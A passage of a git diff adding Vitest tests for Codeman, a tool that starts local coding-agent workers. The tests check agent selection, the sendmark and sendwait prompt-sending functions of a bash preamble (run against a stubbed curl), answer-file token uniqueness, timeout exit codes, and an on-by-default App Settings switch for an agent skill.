const run = spawn('local:claude');
|
||||
expect(run.rc).toBe(1);
|
||||
expect(run.stdout).toBe('');
|
||||
expect(run.stderr).toContain("'claude' is not startable on this Mac (installable)");
|
||||
expect(run.stderr).toContain('Startable now: opencode, pi, deepseek');
|
||||
expect(run.calls.map((call) => call.key)).toEqual(['lm-get']);
|
||||
});
|
||||
|
||||
it('refuses an agent the model cannot be run with at all', () => {
|
||||
const run = spawn('local:grok');
|
||||
expect(run.rc).toBe(1);
|
||||
expect(run.stdout).toBe('');
|
||||
expect(run.stderr).toContain("cannot be run with 'grok'");
|
||||
expect(run.stderr).toContain('Startable: opencode, pi, deepseek');
|
||||
expect(run.calls.map((call) => call.key)).toEqual(['lm-get']);
|
||||
});
|
||||
|
||||
it('a Codeman that lists no agents: its one agent can be named, another cannot', () => {
|
||||
const same = spawn('local:opencode', RUNNING);
|
||||
expect(same.rc).toBe(0);
|
||||
expect(JSON.parse(same.calls[1].d).mode).toBe('opencode');
|
||||
expect(same.calls[2].q).toContain('match=┃');
|
||||
|
||||
const other = spawn('local:pi', RUNNING);
|
||||
expect(other.rc).toBe(1);
|
||||
expect(other.stdout).toBe('');
|
||||
expect(other.stderr).toMatch(/lists one coding agent for the local model, opencode/);
|
||||
expect(other.calls.map((call) => call.key)).toEqual(['lm-get']);
|
||||
});
|
||||
|
||||
it('with no agent that can be started nothing is spawned, whatever was asked for', () => {
|
||||
const none = status({
|
||||
...INSTALLED,
|
||||
running: true,
|
||||
harnesses: [{ cli: 'opencode', cliLabel: 'OpenCode', default: true, status: 'installing', actions: [] }],
|
||||
actions: ['stop', 'remove'],
|
||||
});
|
||||
for (const kind of ['local', 'local:opencode']) {
|
||||
const run = spawn(kind, none);
|
||||
expect(run.rc).toBe(1);
|
||||
expect(run.stdout).toBe('');
|
||||
expect(run.stderr).toMatch(/no local model to spawn on \(no-agent\)/);
|
||||
expect(run.calls.map((call) => call.key)).toEqual(['lm-get']);
|
||||
}
|
||||
});
|
||||
|
||||
it('a worker whose mark never shows is deleted, and the message names the agent', () => {
|
||||
const run = runSkill('spawn_worker summ local:pi', {
|
||||
'lm-get': WITH_AGENTS,
|
||||
'quick-start': QUICK_START,
|
||||
'wait-output': NOT_MATCHED,
|
||||
delete: JSON.stringify({ success: true, data: {} }),
|
||||
});
|
||||
expect(run.rc).toBe(1);
|
||||
expect(run.stdout).toBe('');
|
||||
expect(run.stderr).toMatch(/\(pi\) never drew 'extended-keys'/);
|
||||
expect(run.calls.map((call) => `${call.m} ${call.key}`)).toEqual([
|
||||
'GET lm-get',
|
||||
'POST quick-start',
|
||||
'GET wait-output',
|
||||
'DELETE delete',
|
||||
]);
|
||||
});
|
||||
|
||||
it('spawn_workers takes name:local:agent in a mixed fleet', () => {
|
||||
const run = runSkill('spawn_workers a:local:pi', {
|
||||
'lm-get': WITH_AGENTS,
|
||||
'quick-start': QUICK_START,
|
||||
'wait-output': MATCHED,
|
||||
});
|
||||
expect(run.calls.map((call) => call.key)).toContain('quick-start');
|
||||
const body = JSON.parse(run.calls.find((call) => call.key === 'quick-start')!.d);
|
||||
expect([body.caseName, body.mode]).toEqual(['a', 'pi']);
|
||||
});
|
||||
});
|
||||
|
||||
it('runs a claude harness through the claude readiness path (hooks vetted, shift+tab)', () => {
|
||||
const claude = status({ ...INSTALLED, cli: 'claude', running: true, actions: ['start-session', 'stop', 'remove'] });
|
||||
const run = runSkill(
|
||||
`mkdir -p "$WD/.claude" && printf '%s' '{"hooks":{"Stop":[{"command":"curl /api/hook-event"}]}}' > "$WD/.claude/settings.local.json"
|
||||
printf '%s' "{\\"success\\":true,\\"data\\":{\\"sessionId\\":\\"${SID}\\",\\"casePath\\":\\"$WD\\"}}" > "$ANSWERS/quick-start"
|
||||
spawn_worker summ local`,
|
||||
{ 'lm-get': claude, 'wait-output': MATCHED },
|
||||
{ CODEMAN_WORKER_ADVISOR: 'opus' }
|
||||
);
|
||||
expect(run.stderr).toBe('');
|
||||
expect(run.rc).toBe(0);
|
||||
expect(run.stdout).toBe(`${SID}\n`);
|
||||
const body = JSON.parse(run.calls[1].d);
|
||||
expect(body.mode).toBe('claude');
|
||||
expect(body.advisorModel).toBeUndefined();
|
||||
expect(body.customModel).toEqual({ endpointId: 'local-ollama', modelId: 'qwen3.6:35b-a3b' });
|
||||
expect(run.calls[2].q).toContain('match=shift+tab');
|
||||
// The advisor read-back is skipped too: no GET of the session.
|
||||
expect(run.calls.map((call) => call.key)).toEqual(['lm-get', 'quick-start', 'wait-output']);
|
||||
});
|
||||
});
|
||||
|
||||
describe.skipIf(!hasJq)('preamble sendmark', () => {
|
||||
const delivered = JSON.stringify({
|
||||
success: true,
|
||||
data: { delivered: true, duplicate: false, wait: { timedOut: true, ended: false, signal: null } },
|
||||
});
|
||||
|
||||
/** Answers GET /api/sessions/:id with the run's own working directory, then runs `body`. */
|
||||
function withSession(body: string): string {
|
||||
return `printf '%s' "{\\"success\\":true,\\"data\\":{\\"id\\":\\"${SID}\\",\\"workingDir\\":\\"$WD\\"}}" > "$ANSWERS/session"; ${body}`;
|
||||
}
|
||||
|
||||
it('sends once, waits for the split marker, and returns the answer file', () => {
|
||||
const run = runSkill(
|
||||
withSession(`sendmark ${SID} $'Summarize these files:\\n- a.md\\n- b.md' 30`),
|
||||
{ input: delivered, 'wait-output': MATCHED },
|
||||
{ ANSWER_TEXT: 'a.md: setup. b.md: usage.' }
|
||||
);
|
||||
expect(run.stderr).toBe('');
|
||||
expect(run.rc).toBe(0);
|
||||
const out = lastJson(run.stdout);
|
||||
expect(out).toMatchObject({
|
||||
delivered: true,
|
||||
matched: true,
|
||||
answer: 'a.md: setup. b.md: usage.',
|
||||
truncated: false,
|
||||
});
|
||||
const token = out.token as string;
|
||||
expect(token).toMatch(/^m[0-9a-f]+$/);
|
||||
expect(out.answerFile).toBe(join(run.wd, `codeman-answer-${token}.md`));
|
||||
|
||||
expect(run.calls.map((call) => `${call.m} ${call.key}`)).toEqual(['GET session', 'POST input', 'GET wait-output']);
|
||||
const input = JSON.parse(run.calls[1].d) as Record<string, unknown>;
|
||||
// The exactly-once body: the per-worker clientId, an epoch-second seq, one Enter at the end.
|
||||
expect(input.clientId).toBe(`codeman-agent-1-${SID}`);
|
||||
expect(typeof input.seq).toBe('number');
|
||||
expect(input).toMatchObject({ useMux: true, wait: 'exit', waitTimeout: 1000 });
|
||||
const text = input.input as string;
|
||||
expect(text.endsWith('\r')).toBe(true);
|
||||
expect(text.slice(0, -1)).not.toMatch(/[\r\n]/);
|
||||
expect(text.startsWith('Summarize these files: - a.md - b.md (When you are done')).toBe(true);
|
||||
expect(text).toContain(`codeman-answer-${token}.md`);
|
||||
expect(text).toContain(`the word DONE immediately followed by _${token}`);
|
||||
// Split: the typed prompt never holds the joined marker, so its echo cannot match.
|
||||
expect(text).not.toContain(`DONE_${token}`);
|
||||
expect(run.calls[2].q).toContain(`match=DONE_${token}`);
|
||||
expect(run.calls[2].q).toContain('from=buffer');
|
||||
});
|
||||
|
||||
it('answers 2 when no marker prints before the timeout, and deletes nothing', () => {
|
||||
const run = runSkill(withSession(`sendmark ${SID} 'count to three' 1`), {
|
||||
input: delivered,
|
||||
'wait-output': NOT_MATCHED,
|
||||
'wait-output.delay': '1',
|
||||
});
|
||||
expect(run.rc).toBe(2);
|
||||
expect(lastJson(run.stdout)).toMatchObject({ delivered: true, matched: false, answer: null });
|
||||
expect(run.calls.some((call) => call.key === 'delete')).toBe(false);
|
||||
});
|
||||
|
||||
// Seen on a Mac (2026-11-12): Claude Code runs zsh there, and zsh hands every subshell the same
|
||||
// $RANDOM. A lead sent two workers in ONE folder their tasks in the same second, both prompts
|
||||
// named the same answer file, and one worker's summary replaced the other's.
|
||||
it('gives each worker its own token and answer file, in the same second and with the same $RANDOM', () => {
|
||||
const other = 'b7e1c2d3-0000-4000-8000-00000000beef';
|
||||
const run = runSkill(
|
||||
withSession(
|
||||
// Two calls at once that draw the same number: what zsh does by itself. bash reseeds its
|
||||
// generator in every subshell, so here the variable is made a plain one that always reads 7.
|
||||
`unset RANDOM; RANDOM=7
|
||||
( sendmark ${SID} 'count to three' 1 >/dev/null ) &
|
||||
( sendmark ${other} 'count to three' 1 >/dev/null ) &
|
||||
wait; true`
|
||||
),
|
||||
{ input: delivered, 'wait-output': NOT_MATCHED, 'wait-output.delay': '1' }
|
||||
);
|
||||
expect(run.stderr).toBe('');
|
||||
const tokens = run.calls
|
||||
.filter((call) => call.key === 'input')
|
||||
.map((call) => /codeman-answer-(m[0-9a-f]+)\.md/.exec((JSON.parse(call.d) as { input: string }).input)?.[1] ?? '')
|
||||
.sort();
|
||||
expect(tokens).toHaveLength(2);
|
||||
// m, eight digits of the second, four of $RANDOM, six of the worker's id.
|
||||
for (const token of tokens) expect(token).toMatch(/^m[0-9a-f]{18}$/);
|
||||
// The same draw in both calls...
|
||||
expect(tokens.map((token) => token.slice(9, 13))).toEqual(['0007', '0007']);
|
||||
// ...and still two files, told apart by the workers' own ids.
|
||||
expect(tokens[0]).not.toBe(tokens[1]);
|
||||
expect(tokens.map((token) => token.slice(13)).sort()).toEqual(['b7e1c2', 'eca000']);
|
||||
});
|
||||
|
||||
it('reads the answer file without a marker once it held still for a round (a full-screen pane draws the marker in pieces)', () => {
|
||||
// Measured on opencode 1.3.0: a reply streamed a character or two at a time reaches the
|
||||
// stripped stream as D, spinner, O, spinner, N, ... and never matches, while the screen
|
||||
// shows the whole token. The file must still end the wait.
|
||||
const run = runSkill(
|
||||
withSession(`sendmark ${SID} 'count to three' 30`),
|
||||
{ input: delivered, 'wait-output': NOT_MATCHED },
|
||||
{ ANSWER_TEXT: 'one two three' }
|
||||
);
|
||||
expect(run.stderr).toBe('');
|
||||
expect(run.rc).toBe(0);
|
||||
expect(lastJson(run.stdout)).toMatchObject({ delivered: true, matched: false, answer: 'one two three' });
|
||||
// The first round finds the file, the second finds it unchanged: two marker waits, then done.
|
||||
expect(run.calls.map((call) => call.key)).toEqual(['session', 'input', 'wait-output', 'wait-output']);
|
||||
for (const call of run.calls.slice(2)) expect(call.q).toContain('timeout=10000');
|
||||
});
|
||||
|
||||
it('does not read an answer file that is still changing, and answers 2 at the timeout', () => {
|
||||
const run = runSkill(
|
||||
withSession(`sendmark ${SID} 'count to three' 3`),
|
||||
{ input: delivered, 'wait-output': NOT_MATCHED, 'wait-output.delay': '1' },
|
||||
{ ANSWER_APPEND: 'one more line' }
|
||||
);
|
||||
expect(run.rc).toBe(2);
|
||||
expect(lastJson(run.stdout)).toMatchObject({ matched: false, answer: null });
|
||||
expect(run.calls.filter((call) => call.key === 'wait-output').length).toBeGreaterThanOrEqual(2);
|
||||
});
|
||||
|
||||
it('answers 3 when the worker ends while it waits for the answer file after the marker', () => {
|
||||
const run = runSkill(withSession(`sendmark ${SID} 'count to three' 30`), {
|
||||
input: delivered,
|
||||
'wait-output': MATCHED,
|
||||
wait: JSON.stringify({ success: true, data: { wait: { signal: 'exit', ended: false, timedOut: false } } }),
|
||||
});
|
||||
expect(run.rc).toBe(3);
|
||||
expect(lastJson(run.stdout)).toMatchObject({ matched: true, answer: null, ended: true });
|
||||
expect(run.calls.map((call) => call.key)).toEqual(['session', 'input', 'wait-output', 'wait']);
|
||||
});
|
||||
|
||||
it('still waits two seconds per check for the answer file when the exit wait gets no answer', () => {
|
||||
const started = Date.now();
|
||||
const run = runSkill(
|
||||
withSession(`sendmark ${SID} 'count to three' 30`),
|
||||
// No answer file for `wait`: the stub answers success:false, as a server that is gone.
|
||||
{ input: delivered, 'wait-output': MATCHED },
|
||||
{ SENDMARK_FILE_WAIT: '2' }
|
||||
);
|
||||
expect(run.rc).toBe(4);
|
||||
expect(run.calls.map((call) => call.key)).toEqual(['session', 'input', 'wait-output', 'wait']);
|
||||
expect(Date.now() - started).toBeGreaterThanOrEqual(2000);
|
||||
});
|
||||
|
||||
it('answers 4 when the marker printed but no answer file turned up', () => {
|
||||
const run = runSkill(
|
||||
withSession(`sendmark ${SID} 'count to three' 30`),
|
||||
{ input: delivered, 'wait-output': MATCHED },
|
||||
{ SENDMARK_FILE_WAIT: '0' }
|
||||
);
|
||||
expect(run.rc).toBe(4);
|
||||
expect(lastJson(run.stdout)).toMatchObject({ matched: true, answer: null });
|
||||
});
|
||||
|
||||
it('refuses to read an answer file that is a symlink', () => {
|
||||
const secret = join(tmpdir(), 'codeman-sendmark-not-read');
|
||||
const run = runSkill(
|
||||
withSession(
|
||||
`printf 'private' > "${secret}"; sendmark ${SID} 'count to three' 30; rc=$?; rm -f "${secret}"; exit $rc`
|
||||
),
|
||||
{ input: delivered, 'wait-output': MATCHED },
|
||||
{ ANSWER_SYMLINK: secret, SENDMARK_FILE_WAIT: '0' }
|
||||
);
|
||||
expect(run.rc).toBe(4);
|
||||
expect(run.stderr).toMatch(/is a symlink, not read/);
|
||||
expect(run.stdout).not.toContain('private');
|
||||
expect(lastJson(run.stdout)).toMatchObject({ matched: true, answer: null });
|
||||
});
|
||||
|
||||
it('answers 3 when the pane did not take the prompt because the worker ended', () => {
|
||||
const run = runSkill(withSession(`sendmark ${SID} 'count to three' 30`), {
|
||||
input: JSON.stringify({
|
||||
success: true,
|
||||
data: { delivered: false, duplicate: false, wait: { ended: true, aborted: false } },
|
||||
}),
|
||||
});
|
||||
expect(run.rc).toBe(3);
|
||||
expect(lastJson(run.stdout)).toMatchObject({ delivered: false, matched: false });
|
||||
expect(run.calls.map((call) => call.key)).toEqual(['session', 'input']);
|
||||
});
|
||||
|
||||
it('answers 3 when the worker ends while it waits for the marker', () => {
|
||||
const run = runSkill(withSession(`sendmark ${SID} 'count to three' 30`), {
|
||||
input: delivered,
|
||||
'wait-output': JSON.stringify({
|
||||
success: true,
|
||||
data: { wait: { matched: false, timedOut: false, ended: true } },
|
||||
}),
|
||||
});
|
||||
expect(run.rc).toBe(3);
|
||||
expect(lastJson(run.stdout)).toMatchObject({ matched: false, ended: true });
|
||||
});
|
||||
|
||||
it('with SENDMARK_ANSWER_FILE=0 asks for the marker alone and reads no session', () => {
|
||||
const run = runSkill(
|
||||
`sendmark ${SID} 'review this' 30`,
|
||||
{ input: delivered, 'wait-output': MATCHED },
|
||||
{ SENDMARK_ANSWER_FILE: '0' }
|
||||
);
|
||||
expect(run.rc).toBe(0);
|
||||
expect(lastJson(run.stdout)).toMatchObject({ matched: true, answerFile: null, answer: null });
|
||||
expect(run.calls.map((call) => call.key)).toEqual(['input', 'wait-output']);
|
||||
const text = (JSON.parse(run.calls[0].d) as { input: string }).input;
|
||||
expect(text).not.toContain('codeman-answer-');
|
||||
expect(text).toContain('the word DONE immediately followed by _');
|
||||
});
|
||||
|
||||
it('refuses an empty prompt before sending anything', () => {
|
||||
const run = runSkill(withSession(`sendmark ${SID} $' \\n\\t\\n'`));
|
||||
expect(run.rc).toBe(1);
|
||||
expect(run.stderr).toMatch(/sendmark: empty prompt/);
|
||||
expect(run.calls).toEqual([]);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,85 @@
|
||||
/**
|
||||
* @fileoverview `sendwait` in the packaged agent preamble sends one line.
|
||||
*
|
||||
* Runs the REAL `skills/codeman/preamble.sh` in bash with `CURL` replaced by a stub
|
||||
* that records the request body, so it checks what the function puts on the wire,
|
||||
* not a copy of its logic. The server pastes a multi-line prompt as one block, and
|
||||
* neither sendwait's Enter loop nor the server's submit check can recognise a pasted
|
||||
* block still sitting on the composer, so the prompt must arrive as one line, the
|
||||
* way `toSingleLine` joins it for the other unattended senders.
|
||||
*
|
||||
* Port: N/A (no server; the stub answers every request).
|
||||
*/
|
||||
|
||||
import { describe, it, expect } from 'vitest';
|
||||
import { execFileSync } from 'node:child_process';
|
||||
import { mkdtempSync, readFileSync, rmSync } from 'node:fs';
|
||||
import { tmpdir } from 'node:os';
|
||||
import { join } from 'node:path';
|
||||
import { toSingleLine } from '../src/utils/single-line.js';
|
||||
|
||||
const PREAMBLE = join(__dirname, '..', 'skills', 'codeman', 'preamble.sh');
|
||||
|
||||
// The preamble builds every request body with jq.
|
||||
let hasJq = true;
|
||||
try {
|
||||
execFileSync('jq', ['--version'], { stdio: 'ignore' });
|
||||
} catch {
|
||||
hasJq = false;
|
||||
}
|
||||
|
||||
/** The `input` field of the first body sendwait posts for `prompt`. */
|
||||
function sentInput(prompt: string): string {
|
||||
// sendwait calls CURL inside $(...), a subshell, so the stub records to a file.
|
||||
const dir = mkdtempSync(join(tmpdir(), 'codeman-sendwait-'));
|
||||
const bodies = join(dir, 'bodies');
|
||||
const script = `
|
||||
. "$PREAMBLE" >/dev/null
|
||||
stub() {
|
||||
while [ "$#" -gt 0 ]; do
|
||||
if [ "$1" = --data-binary ]; then printf '%s\\n' "$2" >> "$BODIES"; shift; fi
|
||||
shift
|
||||
done
|
||||
printf '%s' '{"data":{"delivered":true,"wait":{"timedOut":false}}}'
|
||||
}
|
||||
CURL=(stub)
|
||||
sendwait worker1234 "$PROMPT" 7 >/dev/null
|
||||
`;
|
||||
try {
|
||||
execFileSync('bash', ['-c', script], {
|
||||
stdio: ['ignore', 'pipe', 'pipe'],
|
||||
env: {
|
||||
PATH: process.env.PATH,
|
||||
HOME: process.env.HOME,
|
||||
PREAMBLE,
|
||||
PROMPT: prompt,
|
||||
BODIES: bodies,
|
||||
CODEMAN_API_URL: 'http://127.0.0.1:9',
|
||||
CODEMAN_SESSION_ID: 'caller-session-0000',
|
||||
},
|
||||
});
|
||||
const first = readFileSync(bodies, 'utf-8').split('\n')[0];
|
||||
return (JSON.parse(first) as { input: string }).input;
|
||||
} finally {
|
||||
rmSync(dir, { recursive: true, force: true });
|
||||
}
|
||||
}
|
||||
|
||||
describe.skipIf(!hasJq)('preamble sendwait', () => {
|
||||
it('joins a multi-line prompt onto one line before sending it', () => {
|
||||
expect(sentInput('Review this:\n- item 1\n- item 2')).toBe('Review this: - item 1 - item 2\r');
|
||||
});
|
||||
|
||||
it('joins the same way as toSingleLine (trimmed lines, blank lines dropped, \\r\\n as a break)', () => {
|
||||
const prompt = ' first line \r\n\n\t second\n\n \nthird\n';
|
||||
expect(sentInput(prompt)).toBe(toSingleLine(prompt) + '\r');
|
||||
});
|
||||
|
||||
it('refuses a prompt made only of blank lines instead of sending a bare Enter', () => {
|
||||
expect(() => sentInput(' \n \t\n')).toThrow(/sendwait: empty prompt/);
|
||||
});
|
||||
|
||||
it('leaves a single-line prompt, glob characters included, as it was', () => {
|
||||
expect(sentInput('fix * in ?.ts ')).toBe('fix * in ?.ts \r');
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,243 @@
|
||||
/**
|
||||
* @fileoverview The Codeman Agent Skill switch (`agentSkillEnabled`) in App Settings,
|
||||
* on by default since 1.50.0.
|
||||
*
|
||||
* What is pinned, and why it matters:
|
||||
* - The REAL openAppSettings() reads an ABSENT key as on, like the server's
|
||||
* getAgentSkillEnabled() (`!== false`). The page and the server must agree: a
|
||||
* page that showed an absent key as off would write `false` on the next Save of
|
||||
* any other setting, and the default would be gone without the user touching it.
|
||||
* - Only an explicit false shows the switch off, wherever it came from (this
|
||||
* device's blob or the server's settings.json, merged as a synced key).
|
||||
* - saveAppSettings() sends the switch in the settings PUT, and the body passes the
|
||||
* .strict() SettingsUpdateSchema (an undeclared key 400s every save).
|
||||
* - A device that saved on 1.49.0 or earlier keeps `false` in its own blob. After the
|
||||
* server's one-time boot migration (stored true) its switch shows on and a Save keeps it
|
||||
* on; on a server without the key the device's copy is dropped for the default; a later
|
||||
* explicit off on the server stays off. The Save body never carries the migration marker.
|
||||
* - The row says it is on by default, that the copy stays out of git, and how to
|
||||
* remove copies already written (turning it off sweeps nothing).
|
||||
*
|
||||
* The real modules run INSIDE a JSDOM window (runScripts: 'outside-only'), with the
|
||||
* harness of test/tab-cli-logos-setting.test.ts.
|
||||
*
|
||||
* Port: none.
|
||||
*/
|
||||
|
||||
import { readFileSync } from 'node:fs';
|
||||
import { join } from 'node:path';
|
||||
import { JSDOM } from 'jsdom';
|
||||
import { afterEach, describe, expect, it, vi } from 'vitest';
|
||||
import { SettingsUpdateSchema } from '../src/web/schemas.js';
|
||||
|
||||
const PUBLIC = join(process.cwd(), 'src/web/public');
|
||||
const read = (name: string) => readFileSync(join(PUBLIC, name), 'utf8');
|
||||
const INDEX = read('index.html');
|
||||
const SCRIPTS = ['constants.js', 'app.js', 'settings-ui.js'].map(read);
|
||||
|
||||
const DESKTOP_KEY = 'codeman-app-settings';
|
||||
|
||||
type Settings = Record<string, unknown>;
|
||||
interface SettingsApp {
|
||||
openAppSettings(): void;
|
||||
saveAppSettings(): Promise<void>;
|
||||
loadAppSettingsFromServer(p: Promise<Settings>): Promise<Settings>;
|
||||
_apiPut: ReturnType<typeof vi.fn>;
|
||||
}
|
||||
|
||||
/** Methods that run for real; every other method of the app is a no-op here. */
|
||||
const REAL = new Set([
|
||||
'openAppSettings',
|
||||
'saveAppSettings',
|
||||
'loadAppSettingsFromServer',
|
||||
'loadAppSettingsFromStorage',
|
||||
'saveAppSettingsToStorage',
|
||||
'getSettingsStorageKey',
|
||||
'getDefaultSettings',
|
||||
'resolveTabArrangement',
|
||||
'resolveTabStateOrder',
|
||||
// Real so the save builds the body a browser would send (the schema check).
|
||||
'resolveHeaderStatsStyle',
|
||||
'resolveSessionSidebarFontSize',
|
||||
'_displaySettingKeySet',
|
||||
]);
|
||||
|
||||
/** Methods the load/save paths call that other modules add to the prototype. */
|
||||
const ELSEWHERE = [
|
||||
'showToast',
|
||||
'_updateLocalEchoState',
|
||||
'renderProjectInsightsPanel',
|
||||
'updateSubagentWindowVisibility',
|
||||
'showWelcome',
|
||||
'_applyRunMode',
|
||||
];
|
||||
|
||||
const windows: { close(): void }[] = [];
|
||||
afterEach(() => {
|
||||
for (const win of windows.splice(0)) win.close();
|
||||
});
|
||||
|
||||
/** The whole index.html with constants.js, app.js and settings-ui.js loaded into it. */
|
||||
async function boot(stored?: Settings) {
|
||||
const dom = new JSDOM(INDEX, { url: 'http://localhost/', runScripts: 'outside-only' });
|
||||
const win = dom.window as unknown as Window & typeof globalThis & { eval(src: string): void; __App: any };
|
||||
windows.push(win);
|
||||
// After load, so app.js's DOMContentLoaded boot never runs; only the prototype is under test.
|
||||
if (win.document.readyState !== 'complete') await new Promise((resolve) => win.addEventListener('load', resolve));
|
||||
win.setInterval = (() => 0) as unknown as typeof win.setInterval;
|
||||
if (stored) win.localStorage.setItem(DESKTOP_KEY, JSON.stringify(stored));
|
||||
win.eval(
|
||||
[
|
||||
`var MobileDetection = {
|
||||
getDeviceType: () => 'desktop',
|
||||
isHandheldDevice: () => false,
|
||||
isMobile: () => false,
|
||||
isTouchDevice: () => false,
|
||||
};
|
||||
var KeyboardHandler = {}, SwipeHandler = {}, DeepgramProvider = {}, NotificationManager = function () {};
|
||||
var KeyboardAccessoryBar = { setMode() {} };
|
||||
var VoiceInput = { SILENCE_TIMEOUT_SECONDS: [0, 3, 6, 15, 30], _getDeepgramConfig: () => ({}), _saveDeepgramConfig() {}, refreshClaudeStatus: () => Promise.resolve() };
|
||||
var FocusTrap = function () { this.activate = () => {}; this.deactivate = () => {}; };
|
||||
var DEFAULT_VOICE_KEYTERMS = '';`,
|
||||
...SCRIPTS,
|
||||
'window.__App = CodemanApp;',
|
||||
].join('\n')
|
||||
);
|
||||
const target = Object.create(win.__App.prototype);
|
||||
target.sessions = new Map();
|
||||
target.sessionOrder = [];
|
||||
target._apiPut = vi.fn(async () => ({ ok: true }));
|
||||
const noop = () => undefined;
|
||||
for (const name of ELSEWHERE) target[name] = noop;
|
||||
const app = new Proxy(target, {
|
||||
get(t, key, receiver) {
|
||||
const value = Reflect.get(t, key, receiver);
|
||||
const stubbed =
|
||||
typeof key === 'string' && typeof value === 'function' && !Object.hasOwn(t, key) && !REAL.has(key);
|
||||
return stubbed ? noop : value;
|
||||
},
|
||||
}) as SettingsApp;
|
||||
const checkbox = () => win.document.getElementById('appSettingsAgentSkill') as HTMLInputElement;
|
||||
const putBody = () => {
|
||||
const calls = app._apiPut.mock.calls as [string, Settings][];
|
||||
const call = calls.find(([path]) => path === '/api/settings');
|
||||
expect(call, 'a settings PUT').toBeDefined();
|
||||
return call![1];
|
||||
};
|
||||
return { app, checkbox, putBody };
|
||||
}
|
||||
|
||||
describe('the switch loads on by default', () => {
|
||||
it('an absent key shows on, an explicit false off, an explicit true on', async () => {
|
||||
for (const [stored, expected] of [
|
||||
[{}, true],
|
||||
[{ agentSkillEnabled: false }, false],
|
||||
[{ agentSkillEnabled: true }, true],
|
||||
] as const) {
|
||||
const { app, checkbox } = await boot(stored);
|
||||
checkbox().checked = !expected;
|
||||
app.openAppSettings();
|
||||
expect(checkbox().checked, JSON.stringify(stored)).toBe(expected);
|
||||
}
|
||||
});
|
||||
|
||||
it('a fresh device on a server with no stored value shows on', async () => {
|
||||
const { app, checkbox } = await boot();
|
||||
await app.loadAppSettingsFromServer(Promise.resolve({ lastUsedCase: 'demo' }));
|
||||
checkbox().checked = false;
|
||||
app.openAppSettings();
|
||||
expect(checkbox().checked).toBe(true);
|
||||
});
|
||||
|
||||
it("the server's explicit false wins over this device's blob (a synced key)", async () => {
|
||||
const { app, checkbox } = await boot({ agentSkillEnabled: true });
|
||||
await app.loadAppSettingsFromServer(Promise.resolve({ agentSkillEnabled: false }));
|
||||
app.openAppSettings();
|
||||
expect(checkbox().checked).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe('Save', () => {
|
||||
it('saving other settings on a never-touched install keeps it on, and the body passes the schema', async () => {
|
||||
const { app, putBody } = await boot({});
|
||||
app.openAppSettings();
|
||||
await app.saveAppSettings();
|
||||
const body = putBody();
|
||||
expect(body.agentSkillEnabled).toBe(true);
|
||||
// The whole body, not just this key: an undeclared key 400s every save.
|
||||
expect(SettingsUpdateSchema.safeParse(body).error?.issues ?? []).toEqual([]);
|
||||
});
|
||||
|
||||
it('switching it off sends an explicit false', async () => {
|
||||
const { app, checkbox, putBody } = await boot({});
|
||||
app.openAppSettings();
|
||||
checkbox().checked = false;
|
||||
await app.saveAppSettings();
|
||||
expect(putBody().agentSkillEnabled).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
// Every device that saved App Settings on 1.49.0 or earlier holds `agentSkillEnabled: false` in
|
||||
// its own blob (the switch loaded an absent key as off). The server's boot migration
|
||||
// (src/web/agent-skill-default-migration.ts) switches a stored false on by storing TRUE, because
|
||||
// the merge only overwrites a synced key the server has: a key it deleted would leave the
|
||||
// device's false in place, and the next Save would write it back.
|
||||
describe('a device that saved before 1.50.0', () => {
|
||||
const OLD_BLOB = { agentSkillEnabled: false, autoNameSessions: false };
|
||||
|
||||
it("after the server's migration (stored true) the switch shows on, and a Save keeps it on and passes the schema", async () => {
|
||||
const { app, checkbox, putBody } = await boot(OLD_BLOB);
|
||||
await app.loadAppSettingsFromServer(Promise.resolve({ agentSkillEnabled: true, lastUsedCase: 'demo' }));
|
||||
app.openAppSettings();
|
||||
expect(checkbox().checked).toBe(true);
|
||||
await app.saveAppSettings();
|
||||
const body = putBody();
|
||||
expect(body.agentSkillEnabled).toBe(true);
|
||||
// The migration's marker is a file of its own, never a setting: the Save can neither send it
|
||||
// back nor be refused for it by the .strict() schema.
|
||||
expect(Object.keys(body).filter((key) => /migrat/i.test(key))).toEqual([]);
|
||||
expect(SettingsUpdateSchema.safeParse(body).error?.issues ?? []).toEqual([]);
|
||||
});
|
||||
|
||||
it('on a server without the key (a save that never reached it) the switch shows the default, on', async () => {
|
||||
const { app, checkbox, putBody } = await boot(OLD_BLOB);
|
||||
await app.loadAppSettingsFromServer(Promise.resolve({ lastUsedCase: 'demo' }));
|
||||
app.openAppSettings();
|
||||
expect(checkbox().checked).toBe(true);
|
||||
await app.saveAppSettings();
|
||||
expect(putBody().agentSkillEnabled).toBe(true);
|
||||
});
|
||||
|
||||
it('an off the user saved after the migration stays off on every device', async () => {
|
||||
const { app, checkbox, putBody } = await boot({ agentSkillEnabled: true });
|
||||
await app.loadAppSettingsFromServer(Promise.resolve({ agentSkillEnabled: false }));
|
||||
app.openAppSettings();
|
||||
expect(checkbox().checked).toBe(false);
|
||||
await app.saveAppSettings();
|
||||
expect(putBody().agentSkillEnabled).toBe(false);
|
||||
});
|
||||
|
||||
it('without a server answer the device keeps what it has', async () => {
|
||||
const { app, checkbox } = await boot(OLD_BLOB);
|
||||
await app.loadAppSettingsFromServer(Promise.resolve(null as unknown as Settings));
|
||||
app.openAppSettings();
|
||||
expect(checkbox().checked).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe('the App Settings row', () => {
|
||||
const doc = new JSDOM(INDEX).window.document;
|
||||
const row = doc.getElementById('appSettingsAgentSkill')!.closest('.set-row') as HTMLElement;
|
||||
const desc = row.querySelector('.set-row-desc')!.textContent!;
|
||||
|
||||
it('is a synced switch', () => {
|
||||
expect((doc.getElementById('appSettingsAgentSkill') as HTMLInputElement).type).toBe('checkbox');
|
||||
expect(row.closest('.set-group')!.querySelector('.set-scope')!.textContent).toBe('synced');
|
||||
});
|
||||
|
||||
it('says it is on by default, that git does not list the copy, and how to remove copies', () => {
|
||||
expect(desc).toContain('On by default');
|
||||
expect(desc).toContain('ignores itself in git');
|
||||
expect(desc).toContain('codeman skill uninstall --case <name>');
|
||||
});
|
||||
});
|
||||
@@ -81,6 +81,8 @@ describe('applyAgentSkill with a directory', () => {
|
||||
expect(skillMd.startsWith('---\nname: codeman')).toBe(true);
|
||||
expect(skillMd).toContain(MARKER_PREFIX);
|
||||
expect(existsSync(join(skillDir, 'reference', 'endpoints.md'))).toBe(true);
|
||||
// It ignores itself in git there too, like the Claude Code copy.
|
||||
